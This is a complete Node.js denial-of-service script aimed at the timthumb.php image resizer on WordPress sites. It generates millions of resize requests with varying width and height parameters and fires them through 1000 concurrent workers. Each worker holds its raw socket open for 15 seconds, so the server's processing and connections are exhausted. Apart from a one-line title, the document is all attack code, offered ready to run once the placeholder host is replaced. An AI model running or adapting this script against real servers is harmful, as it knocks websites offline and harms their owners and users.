timthumb.php DoS example

do_tim_over.js

#!/usr/bin/env node

var domain = 'www.example.com';
var port = 80;
var ttpath = '/wp-content/themes/example/timthumb.php';

var src_list = [
  'http://www.example.com/wp-content/uploads/2012/01/example.jpg',
  'http://www.example.com/wp-content/uploads/2012/01/example1.jpg'
];
var w_range = [1, 1500];
var h_range = [1, 1500];

var targets = [];
for(var i = 0; i < src_list.length; i++) {
  for(var w = w_range[0]; w <= w_range[1]; w++) {
    for(var h = h_range[0]; h <= h_range[1]; h++) {
      targets.push('src=' + src_list[i] + '&w=' + w + '&h=' + h);
    }
  }
}

var run_one = function (tar, cb) {
  var p = ttpath + '?' + tar;
  half_http_get(domain, port, p, function () {
    cb();
  });
};


var NET = require('net');

var half_http_get = function (host, port, path, cb) {
  var conn = new NET.Socket();
  conn.on('error', function (err) {
    console.log('error: ' + err.toString());
    conn.destroy();
    cb();
  });
  conn.on('data', function (data) {
    var a = 0;
  });
  conn.connect(port, host, function () {
    conn.write('GET ' + path + ' HTTP/1.1\n');
    conn.write('Host: ' + host + '\n');
    conn.write('\n');
    setTimeout(function () {
      conn.destroy();
      cb();
    }, 15 * 1000);
  });
};

var Worker = function (work_queue, run_callback, fin_callback) {
  this.work_queue = work_queue;
  this.run_callback = run_callback;
  this.fin_callback = fin_callback;
  this.timer = setInterval(this.run.bind(this), 50);
  this.running = false;
}
Worker.prototype.run = function run () {
  if (this.running === false) {
    this.running = true;
    var target = this.work_queue.shift();
    if (target != undefined) {
      // console.log('target: ' + target);
      this.run_callback(target, function () {
        this.running = false;
      }.bind(this));
    } else {
      this.stop();
    }
  }
}
Worker.prototype.stop = function stop () {
  clearInterval(this.timer);
  this.fin_callback();
};


var max_workers = 1000;
var worker_count = 0;
var workers = [];

var worker_callback = function worker_callback () {
  worker_count--;
  if (worker_count == 0) finish_callback();
};

var finish_callback = function finish_callback () {
  console.log("Finished");
};

for(var a = 0; a < max_workers; a++) {
  var w = new Worker (targets, run_one, worker_callback);
  workers.push(w);
  worker_count++;
}